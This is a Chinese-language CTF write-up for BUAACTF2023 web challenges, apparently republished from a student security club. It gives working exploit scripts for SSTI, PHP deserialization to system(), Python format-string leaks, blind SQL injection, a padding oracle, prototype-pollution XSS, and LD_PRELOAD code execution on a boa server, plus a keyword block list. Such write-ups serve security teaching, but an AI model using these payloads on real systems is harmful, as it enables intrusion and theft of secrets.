mota
flag的三部分分别藏在第2、5、8层的三个仙灵中,与它们对话即可获得。
法一
正常玩,不用玩到通关就能拿完flag。
法二
作弊玩,开启无限数值+道具的模式。
注意数值和道具得预先在Core.js
里下断点改,否则不在作用域里;改之后的永久道具还是得去游戏里拿一遍才能用。
法三
审源码,flag全在Event.js中。
case 51:
useful= "BUAACTF{HT";
Message = ["[Npc=3,仙子]恭喜你找到了第一段芙拉隔,它的值为","[Npc=3,仙子]"+useful];
Event.ShowMessageList(Message,function(){
Event.RemoveEvent("Npc",1,9,7);
});
break;
藏在事件13和14之间。
case 52:
text = "NV9tb3RhXzFz"
useful = atob(text);
Message = ["[Npc=3,仙子]哇!你拿下了第二段腐拉蛤,它是","[Npc=3,仙子]"+useful];
Event.ShowMessageList(Message,function(){
Event.RemoveEvent("Npc",0,0,5);
});
break;
藏在事件36和37之间。
case 53:
text = new Uint8Array([95, 115, 48, 95, 102, 117, 110, 33, 125]);
useful = String.fromCharCode.apply(null, text);;
Message = ["[Npc=3,仙子]奈斯!你找到了最后一段富菈哥,它的内容:","[Npc=3,仙子]"+useful];
Event.ShowMessageList(Message,function(){
Event.RemoveEvent("Npc",1,5,3);
});
break;
放在Event.js最后。
easy-ssti
{{__tera_context}}
读环境上下文,{{get_env(name="se3ret")}}
读装有flag的环境变量。
过滤了双大括号,用{%系列,绕过的方式应该有很多。
import requests
url = "http://127.0.0.1:8888/"
proxies = {"http": "http://127.0.0.1:8080"}
def replace(s:str):
return s.replace("<","{%").replace(">","%}")
def exploit(payload:str):
message=[""]*1000
for i in range(32,128):
#r=requests.post(url=url,data="content="+replace(payload.format(chr(i))),proxies=proxies)
r=requests.post(url=url,data="content="+replace(payload.format(chr(i))))
content = r.text
x = z = 0
for j in range(len(content)):
if content[j] == 'Z':
z=j
if content[j] == 'X':
x=j
for j in range(z,x):
if content[j] == '1':
message[j-z]=chr(i)
for i in range(200):
print(message[i], end='')
print()
payload1 = "Z< for v in __tera_context >< if v == '{0}' >1< else >0< endif >< endfor >X"
exploit(payload1)
payload2 = "Z< for v in get_env(name="se3ret") >< if v == '{0}' >1< else >0< endif >< endfor >X"
exploit(payload2)
不难,大家几乎都在同一起跑线,考察的就是比赛临场的学习能力和信息检索能力。
easy-unserialize
这里的 Sun
类并不能直接利用,因为 finish
方法中会对 format
进行置空,这里设置 Moon
的process
与 options[new]
均为 KeyPort
类来绕过。
<?php
class KeyPort
{
public $format = array();
public $arguments;
public $finish;
}
class ArrayObj
{
private $iffinish;
public $name;
}
class Sun
{
public $process;
public $_forward;
}
class Moon
{
public $process;
public $_forward;
public $options;
}
$a = new Moon();
$a->_forward = "cat flag";
$a->process = new KeyPort();
$a->process->finish = new ArrayObj();
$a->process->finish->name = array("iffinish" => true);
$a->options = array("new" => new KeyPort());
$a->options['new']->format = array("forward" => "system");
$b = serialize($a);
echo $b . "n";
echo base64_encode($b);
ErrorMessage
这道题涉及到的主要知识点就是 Python 的格式化字符串信息泄露漏洞以及一些 Python 语言的特性, 详细介绍可以参考 P 神的文章:https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html 有关格式化字符串泄露信息的原理这里就不过多叙述了,这里可以通过 username= {passhash.str.globals[passhash]} 即可通过报错拿到 passhash 的哈希值,但是我们的 目的是拿到 passhash 的明文,这里我设置了十六位,所以爆破的可能性比较小,那么就需要想办法通 过报错直接拿到明文了。这里实际上是利用格式化字符串中的控制字符来使其不触发 str 和 repr ,像 {:x}、{:10} 这种控制字符可以实现十六进制以及对齐输出,这里控制字符处理的是当前字符串的对象,也就是 PassHash 类的 self,并不会触发 str 和 repr ,那么这里通过 username= {passhash.str.globals[passhash]:<12} 即可拿到密码进行登录。
实际上这里如果难想的话,还有另外一种解法,这里我并没有将其禁止掉,因为 passhash 是一个 str ,那么很显然可以通过下标访问每一位字符串,通过 username= {passhash.str.globals[passhash][index]} 一个一个拿到密码也行,当然如果在后端加 上: 那么这种方法就行不通了。(感觉这种方法应该不难想) 拿到密码之后就好办了,访问可以看到 secret ,很明显地说 flag 在环境变量里面,那么类似于 ssti, 寻找到 os 后执行 env 即可拿到 flag。
import requests
target = "http://10.212.25.14:49246/"
def get_flag():
payload = "?username={passhash.__str__.__globals__[passhash]:<12}&password="
r = requests.get(target + payload)
password = r.text.split("'")[2]
print("[+]find password:", password)
r = requests.get(target+"?username=admin&password="+password)
print(r.text)
payload = "?username={passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ}&password=&password="
# payload = "?username={passhash.__str__.__globals__[collections]._sys.modules[os].environ}&password="
# payload = "?username={passhash.__repr__.__globals__[datetime].sys.modules[os].environ}&password="
r = requests.get(target+payload)
print(r.text)
get_flag()
login
/login
路由会对传入的 username
以及 password
进行 aes_cbc
加密后设置为 token
。其中verify
是 username::password
加密后得到的字段。/index
路由会校验传入的 Token
,需要 username=admin and verify_token
才能得到 flag
,同 时 username
处存在 SQL 注入。注入可以得到:verify
: dmFldWlic3UzMDhiYXAxY/CwUXqo8+/wT79kjVOqsD/5axbBq+2MJArDuZiUhKIg
。
import requests
from string import ascii_letters, digits
import time
dic = ascii_letters + digits + "=/+"
url = "http://10.212.25.14:49420/"
Headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
res = ""
for i in range(1000):
for j in dic:
payload= "username=admin' and if(ascii(substr((select verify fromsecret where username='admin'),{},1))={},sleep(3),1)#&password=1".format(i+1,ord(j))
#! information_schema.columns: id, username, verify
#! secret.verify:
Headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
start = time.time()
r = requests.post(url+"login", headers=Headers, data=payload)
end = time.time()
if end - start > 2:
res += j
print(res)
break
源码中直接拿我们传入的 password 的长度作为截断来校验,直接置空即可。
{"verify":"dmFldWlic3UzMDhiYXAxY/CwUXqo8+/wT79kjVOqsD/5axbBq+2MJArDuZiUhKIg",
"username":"admin","password":""}
login_revenge
加强了对 password
字段的检验。进行 Padding Oracle
攻击。第一段:admin::A3min?@av
第二段:0id_cras3>__<
from base64 import *
import json
import requests
url = "http://10.212.25.14:49512/index"
token = "dmFldWlic3UzMDhiYXAxY/CwUXqo8+/wT79kjVOqsD/5axbBq+2MJArDuZiUhKIg"
token = b64decode(token)
iv = token[:16]
block1 = token[16:32]
block2 = token[32:48]
#! admin::
mid = b""
fake_iv = b""
for i in range(15, -1, -1):
for j in range(256):
token = b"x00"*i + bytes([j]) + fake_iv + block1
# print(token[:16])
date =
{"verify":b64encode(token).decode(),"username":"admin","password":"123465578
"}
Headers = {
"Cookie": "Token=" +
b64encode(json.dumps(date).encode()).decode()
}
r = requests.get(url, headers=Headers)
# print(r.text)
if "Padding error!" not in r.text:
mid = bytes([j ^ (16 - i)]) + mid
fake_iv = bytes([k ^ (16 - i + 1) for k in mid])
break
print(mid)
print("".join(chr(i^j) for i, j in zip(mid, iv)))
mid = b""
fake_iv = b""
for i in range(15, -1, -1):
for j in range(256):
token = b"x00"*i + bytes([j]) + fake_iv + block2
# print(token[:16])
date ={"verify":b64encode(token).decode(),"username":"admin","password":"123465578"}
Headers = {
"Cookie": "Token=" +
b64encode(json.dumps(date).encode()).decode()
}
r = requests.get(url, headers=Headers)
# print(r.text)
if "Padding error!" not in r.text:
mid = bytes([j ^ (16 - i)]) + mid
fake_iv = bytes([k ^ (16 - i + 1) for k in mid])
break
print(mid)
print("".join(chr(i^j) for i, j in zip(mid, block1)))
iloveihome
给了个 bot
,获取 flag
的逻辑:
app.get('/admin/check', authenticateAdmin, (req, res)=> {
let harmonious = req.query['harmonious'] ? req.query['harmonious'] :
'**';
if(/^[A-Za-z][ -9A-Za-z]+$/.test(harmonious)) {
res.redirect("/");
}
if(req.query['appeal_id']) {
query = `SELECT appeal_content FROM appeal WHERE appeal_id = ? and appeal_type = 'appeal'`;
db.all(query,[req.query['appeal_id']], (err, rows) => {
if(!err){
try{
let row = rows[rows.length - 1]['appeal_content'];
let content = utils.purify(JSON.parse(row), /or4nge/g, harmonious), comment = '';
if(JSON.stringify(content).includes("i love or4nge")) {
console.log("win");
comment = fs.readFileSync('flag.txt').toString()
}else{
comment = "已阅,下次一定";
}
content['comment'] = comment;
query = `UPDATE appeal SET appeal_content = ? WHERE appeal_id = ?`;
db.run(query, [JSON.stringify(content),req.query['appeal_id']]);
}catch {
}
res.redirect("/appeal");
}
});
}else{
res.redirect('/');
}
});
可以看到目的就是使 bot
访问 /admin/check
这个路由。POST /appeal/add
可以添加诉求,会覆盖之前 appeal_id
的诉求;GET /appeal/get
查看诉求;/admin/login
需要 admin_pass
才能登录;/admin/check
存在鉴权,需要 admin_token
。
app.get('/admin/login', (req, res) => {
if(req.query['pass'] === admin_pass){
res.cookie('Authentication', admin_token, {maxAge: new
Date(Date.now() + 3600000), httpOnly: true, sameSite:'strict'});
}
res.redirect('/');
});
admin_token
是存在 Cookie
中的。诉求黑名单:
const banWords = ['javascript:window', '<', '>', 'data:text/html', 'alert',
'confirm', 'expression', 'prompt', 'benchmark', 'sleep', 'group', 'concat',
'bcase', 'when', 'load_file', 'or4nge','and', 'bin', 'blike', 'script',
'exec', 'union', 'select', 'update', 'set', 'insert', 'into', 'values',
'from', 'create', 'alterdrop', 'truncate', 'table', 'database', 'onerror',
'onmousemove', 'onload', 'onclick', 'onmouseover', 'file_put_contents',
'file_get_contents', 'fwrite', 'base64_decode', 'shell_exec', 'eval',
'assert', 'system', 'exec', 'passthru', 'pcntl_exec', 'popen', 'proc_open',
'print_r', 'extractvalue', 'data', 'ftp', 'php', 'regexp', '=', 'sleep',
'0x', 'file', 'dict'];
黑名单用的是 replace
,只会替换出现的第一个,很容易绕过,那么接下来就是应该构造 XSS。构造时发现 <>
会被转义,这里是 jQuery
中的逻辑:
$(function() {
var appeal = {'群公告': {'msg':'ihome就是我们的家,我们要好好维护她'}};
fetch('/appeal/get', {
method: 'get',
credentials: 'same-origin'
}).then(response => response.json())
.then(data => {
extend(appeal,data);
for(let key of Object.keys(appeal)){
var title = key;
var content = JSON.stringify(appeal[key]);
var comment = '6';
if(key == 'appeal')title = '我的诉求',comment = "管理员还没上班,别急";
else if(key == 'comment') {
title = '我的动态' ;
}
if(appeal[key]['msg'])content=appeal[key]['msg'];
if(appeal[key]['comment'] && key ==
'appeal')comment=appeal[key]['comment'];
var newElement = $("<div class='panel panel-default'><h5>class='panel-heading'></h5><p class='panel-body'></p><div class='panel-footer'></div></div>");
newElement.find(".panel-heading").text(title);
newElement.find(".panel-body").text(content);
newElement.find(".panel-footer").text('管理员回复: '+ comment);
$("#content").append(newElement);
}
});
console.log(1);
});
这里使用 text()
而不是 html()
,所以会对字符进行转义,同时发现存在一段可疑的 extend
:
function extend(target){
for (var i = 1; i < arguments.length; i++) {
var source = arguments[i]
for (var key in source) {
if (key === '__proto__') {
return;
}
if (hasOwnProperty.call(source, key)) {
if (key in source && key in target) {
extend(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
}
return target
};
应该是原型链污染了,这里赛后才知道能污染 html 的标签:https://github.com/BlackFan/client-side- prototype-pollution/blob/master/gadgets/jquery.md 主要原因是这里使用了 jQuery。尝试使用原型链污染注入 XSS:
{
"type":"constructor",
"content":"{"bypass":"<>=onerroralert","prototype":{"div":
["1","<img src='x' onerror=alert(1)>"]}}"
}
接下来有点类似于 KalmarCTF 中的一个黑盒题,那道题是 bot 会自动访问用户头像所指向的链接,通 过修改头像链接来 CSRF,这里参考这种思路,在 <img src=>
中注入 /admin/check
这个路由来进行 CSRF,因为这里不涉及到跨域,所以是能够实现的。因为赛后 bot 炸了,出题人给了 admin_token
和 admin_pass
,就直接自己访问了:
import requests
target = "http://10.212.26.206:21451"
#! add the "i love or4nge"
cookies = {"appeal_id": "fc4c5b8effd0d8207167831e10304c6f1180"}
json={"content": "{"msg":"i love or4ngei love or4ngeor4nge"}", "type":"appeal"}
requests.post(target+"/appeal/add", cookies=cookies, json=json)
#! pollute the div
# cookies = {"appeal_id": "b3a9cddc288bb824e2f2140ae859dddcd66e"}
# json={"content": "{"prototype":{"div":["1","<=or>< img src='/admin/check?appeal_id=fc4c5b8effd0d8207167831e10304c6f1180&harmonious=$`'>"]}}","type": "constructor"}
# requests.post(target+"/appeal/add", cookies=cookies, json=json)
#! curl the bot
cookies = {"Authentication": "77037611-b007-7030-ed56-ca23b30a7e20"}
requests.get(target+"/admin/check?appeal_id=fc4c5b8effd0d8207167831e10304c6f1180&harmonious=$`",cookies=cookies)
#! get the flag
cookies = {"appeal_id": "fc4c5b8effd0d8207167831e10304c6f1180"}
r = requests.get(target+"/appeal/get", cookies=cookies)
print(r.text)
Webserver
Analysis
环境是一个移植到 x86 平台的 boa
服务器,首先了解一下 boa:
BOA(Boa Web Server)是一款轻量级、高性能、开源的 Web 服务器。它由著名的嵌入式 Linux 发行版 OpenWrt 的开发团队开发,并已被广泛用于嵌入式设备、路由器、网络存储设备等场景中。BOA 采用 C 语言编写,代码简洁,运行效率高,占用资源少,非常适合嵌入式设备使用。
BOA 支持 HTTP/1.1 协议,可以处理静态文件、CGI 脚本等请求。它的特点是内存占用小、启动快速、响应速度快、稳定性高,非常适合在嵌入式设备等资源受限的环境中使用。
这款嵌入式 Web 服务器已经十多年没更新了,我们首先需要逆向分析一下给的附件,我首先看的是 upload.cgi
,看了一圈发现并没有什么特别,就是简单地实现了一个文件上传的功能,将上传的文件存储在 /tmp/upload
目录下。
那么接下来是 server
,这里可以将 boa 的源码下载下来自己编译然后进行 diff,会节省很多定位关键点的时间。
我们可以首先试着上传几个文件,发现都会报 400,那么接下来就可以到 server
中寻找报 400 的逻辑进行定位:
这里左边是给的附件,右边是自己编译的,这样也能恢复一部分符号,一个个函数看下来,发现在 read_header
中调用的 process_option_line
这个函数中进行了魔改:
可以看到这里添加了一个 Authorization
头的校验,若不存在这个请求头则会直接报 400,并且需要有 Basic
字段进行用户名和密码的认证,是一个自定义的函数,其逻辑如下:
其中 sub_19DF0
会使用传入的用户名进行数据库的查询并将结果与密码进行明文对比以此来限制用户访问 /cgi-bin
。
上面是需要绕过的验证过程,下面需要定位漏洞点并进行利用。
由于存在文件上传的点,那么首先想到的肯定是传马,但是这个服务器感觉也不会解析啥文件,所以这条思路暂时放下。
根据出题人给的提示,漏洞点在处理 HTTP Header
的逻辑上,重点关注这一逻辑:
跟上面同一个函数,这里是对 HTTP Header
的一系列解析过程,并且在解析完成之后将其添加到内存的 cgi_env
,然后服务器通过发送环境变量的方式与 cgi 程序进行交互,可以参考:https://langzi989.github.io/2017/05/04/cgi%E5%8E%9F%E7%90%86/
注意到在 switch
中的 default
处理未匹配的 HTTP
请求头时,add_cgi_env
的第四个参数为 0,查看源码可知,第四个参数表示是否需要在环境变量前加上 HTTP_
,而 0 则表示不添加,那么这里就存在注入任意环境变量的漏洞,结合已有的 GoAhead
的环境变量注入漏洞:https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html。可以对其加以利用。
exploit
由上述过程可知,我们首先需要通过鉴权,获取正确的用户名与密码,由于这里对数据的处理是直接插入的:
因此可以进行 SQLite 注入,同时还存在非预期,因为是对我们传入的 Basic
字段进行校验,如果后端没有判断空字符串,那么直接使用空字符串就能绕过,经过检测可以绕过,只需要在 Basic
后面加上 :
即可:
或者将 Basic
字段设置为 admin":
也可以进行绕过(这里是因为后端没有对空字符进行判断,所以只需要数据库查不出东西就行):
绕过了身份校验,接下来就是对环境变量注入漏洞的利用了,根据 GoAhead
漏洞以及 RCTF2022 中出现的 filecheck_promax
,我们知道可以劫持 LD_PRELOAD
这个环境变量来进行 RCE。
首先编写一个读取 flag 并输出的脚本(反弹 shell 无法成功,比赛时就卡在这儿了:
#include <stdio.h>
#include <stdlib.h>
void beforemain(void) __attribute__ ((constructor));
void beforemain(void) {
FILE *fp;
char buffer[1024];
fp = fopen("/flag", "r");
if (fp == NULL) {
printf("Failed to open file /flagn");
exit(1);
}
fread(buffer, 1, 1024, fp);
puts(buffer);
fclose(fp);
}
将其编译为一个动态链接库:
gcc fuck.c -o fuck.so --shared -fPIC
接着将其上传:
然后 GET /cgi-bin/upload.cgi
并且在 HTTP
头中设置 LD_PRELOAD: /tmp/upload/fuck.so
即可得到 flag:
文案 | 潘卓成
排版 | 张 涔
审核 | 高丰奕
原文始发于微信公众号(赛博安全社团):BUAACTF2023 Web WP
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论